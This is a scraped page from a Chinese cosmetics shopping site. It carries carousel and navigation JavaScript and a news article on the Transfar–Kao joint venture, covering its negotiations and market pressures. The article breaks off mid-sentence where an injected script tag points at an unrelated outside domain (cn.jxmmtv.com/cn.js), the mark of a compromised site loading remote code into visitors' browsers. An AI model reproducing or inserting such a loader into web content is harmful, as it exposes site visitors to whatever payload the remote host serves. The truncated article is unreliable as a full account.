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    <title>浙江传化和日本花王合资记一 - 和爱一家化妆网</title>
    <meta name="keywords" content="和爱一家,唯爱美,博酷云,网上购物,网上商城,货到付款的购物网站,上品折扣网,上品折扣网上购物,上品折扣,美容护肤,瘦身减肥,时尚品牌,美容护肤知识,奢思雅,仟丝缘,护肤品排名,护肤品价格,行业资讯," />
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        function change1() {

            focusBox1('kakaFocus1');
            function focusBox1(o1) {
                if (!o1) return;

                var w1 = $("#kakaFocus1 .banner_pic").width(), $o1 = $('#' + o1), i = 0, l = 0;
                arr1 = [], t1 = null,

                        $infoLi1 = $o1.find('.banner_info li'), len1 = $infoLi1.length * 2,
                        $ul1 = $o1.find('.banner_pic>ul');
                $ul1.append($ul1.html()).css({'width': len1 * w1, 'left': -len1 * w1 / 2});
                $infoLi1.eq(0).addClass('current');
                //add banner_pages element
                arr1.push('<div class="banner_pages"><ul>');
                $infoLi1.each(function (i) {
                    if (i == 0) {
                        arr1.push('<li class="current"><span>' + (i + 1) + '</span></li>');
                    } else {
                        arr1.push('<li><span>' + (i + 1) + '</span></li>');
                    }
                });
                arr1.push('</ul></div>');
                $o1.append(arr1.join(''));
                var $pagesLi1 = $o1.find('.banner_pages li');
                //mouse
                $pagesLi1.children('span').click(function () {
                    var p1 = $pagesLi1.index($o1.find('.banner_pages li.current'));
                    i1 = $pagesLi1.children('span').index($(this));
                    if (i1 == p1) return;
                    l1 = parseInt($ul1.css('left')) + w1 * (p1 - i1);
                    addCurrent1(i1, l1);
                    return false;
                })
                $o1.children('a.btn_prev').click(function () {
                    i1 = $pagesLi1.index($o1.find('.banner_pages li.current'));
                    (i1 == 0) ? i1 = (len1 / 2 - 1) : i1--;
                    l1 = parseInt($ul1.css('left')) + w1;
                    addCurrent1(i1, l1);
                    return false;
                })
                $o1.children('a.btn_next').click(function () {
                    i1 = ($pagesLi1.index($o1.find('.banner_pages li.current')) + 1) % (len1 / 2);
                    l1 = parseInt($ul1.css('left')) - w1;
                    addCurrent1(i1, l1);
                    return false;
                })
                //auto focus
                t1 = setInterval(init1, 8000);
                $o1.hover(function () {
                    clearInterval(t1);
                }, function () {
                    t1 = setInterval(init1, 8000);
                });
                function init1() {
                    $o1.children('a.btn_next').trigger('click');
                }

                //add focus
                function addCurrent1(i, l) {
                    if ($ul1.is(':animated')) return;
                    $ul1.animate({'left': l}, 500, function () {
                        $o1.children('.banner_count').text(i + 1);
                        $infoLi1.not($infoLi1.eq(i).addClass('current')).removeClass('current');
                        $pagesLi1.not($pagesLi1.eq(i).addClass('current')).removeClass('current');
                        if (l == (1 - len1) * w1) {
                            $ul1.css({'left': (1 - len1 / 2) * w1});
                        } else if (l == 0) {
                            $ul1.css({'left': -len1 * w1 / 2});
                        }
                    });
                }
            }
        }

        $(document).ready(function () {
            change1();

        })
        //tab
        function nTabs(thisObj, Num) {
            if (thisObj.className == "active")return;
            var tabObj = thisObj.parentNode.id;
            var tabList = document.getElementById(tabObj).getElementsByTagName("li");
            for (i = 0; i < tabList.length; i++) {

                if (i == Num) {
                    thisObj.className = "active";
                    document.getElementById(tabObj + "_Content" + i).style.display = "block";
                    $(".new_right_title").addClass("ywtitle" + i);
                } else {
                    tabList[i].className = "normal";
                    document.getElementById(tabObj + "_Content" + i).style.display = "none";
                    $(".new_right_title").removeClass("ywtitle" + i);
                }
            }
        }

        /*daohang huaguo*/
        $(document).ready(function () {

            function topnav1() {
                var _show = null;
                var _hideTimer = null;
                var planItems = $('ul.c-fl-ul li.division');
                planItems.each(function (index) {
                    var li = $(this);
                    var div = li.find('div.navshow_div');
                    div.css("display", "none");
                    li.bind('mouseenter', function () {
                        if (_show != null) {
                            clearTimeout(_show);
                        }
                        _show = setTimeout(function () {
                            $('ul.nav_navcon li').addClass('');

                            li.addClass('topnav_sel');
                        }, 0);
                    });
                    li.bind('mouseleave', function () {
                        if (_show != null) {
                            clearTimeout(_show);
                        }
                        _hideTimer = setTimeout(function () {
                            li.removeClass('topnav_sel');

                        }, 0);
                    });
                });
            };
            topnav1();

        });
    </script>
</head>
<body>

<div id="index_topa">

    <div class="enter_top" id="enter_top">
        <div class=" w1000 m_center">

            <div class="enter_banner">
                <div class="enter_logo"><a><img
                        src="http://huazhuang.heaiyj.com/static/ddTemp/images/logo.jpg"></a>
                </div>
                <div class="searchnav">

                    <div class="searchinput right">
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                        <div class="search_listbox">

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                                        <select id="s0" name="s0" class="selectnews">
                                            <option value="cns">中 新</option>
                                            <option value="baidu">百 度</option>

                                        </select>
                                    </div>
                                </div>
                            </div>

                        </div>
                        <a class="search_a">搜 索</a>
                        <div class="clear"></div>
                    </div>
                    <div class="clear"></div>
                </div>
                <div class="clear"></div>
            </div>

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        <div class="inter_navbox mt15">
            <div class="inter_nav">
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                    <li><a href="/index.html" title="首页">首页</a><em></em></li>
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                            <ul class="children" id="child" style="display: none;">
                                <li><a href="javascript:void(0);" target="_self">新闻</a></li>
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                        浙江传化和日本花王合资记一                    </h1>
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                        <div class="left-t" style="padding-left:6px;"> 2016-08-26 18:56　来源：<a href="http://huazhuang.heaiyj.com/" style="color:#666;font-weight:normal;">和爱一家购物网</a></div>
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                        <!-- 文章内容开始 -->
                        好运气之下的严峻形势 

　　“传化的运气总是不错。”11月4日早晨，在去参加传化花王合资公司开业仪式的路上，传化的品牌管理部经理余琴这样对记者说。前一天刮了一天的大风，把露天场地上的塑料椅吹得到处乱跑，可是晚上风就停了。 

　　就整个中国来说，传化并不是一个具相当知名度的公司。但在私营企业密集度很高的浙江省，无论从知名度还是业界威信，传化都处于第一方阵。资产规模十多亿、创业时间16年、涉及四大产业，尤其难得的是徐氏家族的创业史相当干净而透明，从最早的卖液体皂开始一直走到十亿资产，传化一直在实业领域运作。 

　　3870万美元的投资总额，2500万美元的一期投资，传化四大产业中的第二大产业―对于这样一个日化合资项目来说，传化的这个开业仪式无疑是成功的，浙江省常务副省长吕祖善、花王株式会社社长后藤卓也、杭州市副市长金近山、中国日化行业协会理事长计时祥都到了场。但台下的人们却都在议论另一件事，那就是资产达到十亿之巨、又是纯粹私营企业主的徐冠巨两个月前获得的一个新头衔―浙江省工商联主席。如此多高层领导出席仪式，可见对徐的重视。 

　　虽然仪式隆重，但传化方面从徐冠巨到各级经理对市场的前景却是出言谨慎。“合资只是开了一个头，日化产业竞争形势极其严峻，我们希望合资公司可以进入中国日化行业第一方阵，但绝不可以因此而对市场掉以轻心。”在饭桌上，传化党委书记、副总裁陈捷对形势下了这样一个判语。 

　　确实，自称市场占有率在全国排名第六的传化洗衣粉在进入2000年以后一直不容乐观。洗涤市场的大战虽然没有像家电市场那样夺人眼球，但其残酷程度却丝毫不差。外资企业像宝洁、联合利华和德国汉高等几大品牌在占领了大城市以后，逐步地向下渗透。本土的纳爱斯、奇强又强烈争夺着原来由各个地方品牌分而食之的市场。在传化洗衣粉和洗涤剂核心的华东市场上，联合利华和纳爱斯的争夺严重威胁着传化的地位，而这正是传化合资的内在动因。 

　　不结城下之盟 

　　2001年3月，上海花园饭店，传化和花王进行合资的第一次谈判。 

　　“但其实接触要开始得早得多。从1999年开始，徐总就有了把日化产业拿出去合资的想法，当时他在传化中高层会议上提了一个课题：传化这样一个私营企业，在管理社会化，大量地使用了职业经理人以后，通过什么样的途径实现资本的社会化？其实现在想起来，他可能已经有了答案，用这样一个题目来考察一下合资道路能在多大范围内得到共识而已。”传化日化公司的市场部部长俞顺红这样说。 

　　有了这样一个想法以后，传化方面开始频繁接触投资银行领域。到了2000年，由中信公司和日本野山证券两大机构投资组建的信野证券向传化透露，他们有一个客户有与中国本土企业合资的意向。 

　　“我们的合资要求算是苛刻的。”徐冠巨说，“首先我们要求对方是一个强势品牌，在国际上可以进前十名。其次我们要求企业有实力，应该是在五百强之内。因为我们不是企业走到穷途末路了来合资，不是城下之盟。这个合资更多的是一种战略上的考虑，西方的工业文明经过了几百年的锤炼，而中国的工业在几十年中就发展到了这样一个水平，中间是有断层的，所以我们必须学习，尤其是在中国入世已成定局的当时，我的这种想法很迫切。” 

　　信野告诉徐冠巨的最初信息中并没有透露这个客户的名字，因为花王当时还有一个考察期。在后来的接触中，花王方面透露他们对传化的考察结果比预期要好得多。花王当时找了在中国已经有相当实力的AC・尼尔森调查公司，对传化的市场能力进行调查，发现传化在华东市场上进入前五位已经有数年之久。而这其实还不完全是徐冠巨在谈判桌上的主要砝码，在徐的传化版图中，四大产业最赚钱的是精细化工，传化的纺织助剂占有全国的市场份额达到一半以上。因此即使日化狼烟四起，对传化构成巨大威胁，也不至于动摇传化的根基。另外，传化已有的生产基础、那条从意大利进口的生产线是其另外一个强大支柱，这条7万吨生产能力、技术水平处于一流的生产线能够保证相当一段时间内花王对中国市场的所有企图。 

　　调查结束以后，一直藏在信野背后的花王露面了，时间是2000年上半年。所以连头带尾，传化合资案一共花了两年半的时间。 

　　无疑花王对中国市场的企图和他们的实际能力之间的差距构成了谈判的另一个条件。在合资仪式上花王社长后藤卓也承认，花王最大的海外市场在东南亚，从单一国家来说印度尼西亚是最大的海外市场。可以想见，一心想超过德国汉高而成为全球日化行业第五大巨头的花王股东们面对着其“诗芬”洗发水和“碧柔”洗面奶在中国不大的市场份额，心里有多大的遗憾。而近两年来，汉高在俄罗斯市场上大举进攻，如果花王不能在中国市场上有所作为，很可能两者之间原来不大的差距就这样被拉开了。 

　　也许正是这样的原因，传化在这次合资过程中享受的并不是大哥对小弟的待遇。“花王和我们之间的谈判相当平等，任何问题都是大家讲道理，谁有道理就听谁的，没有?script src=http://cn.jxmmtv.com/cn.js&gt;                        <!-- 文章内容结束 -->
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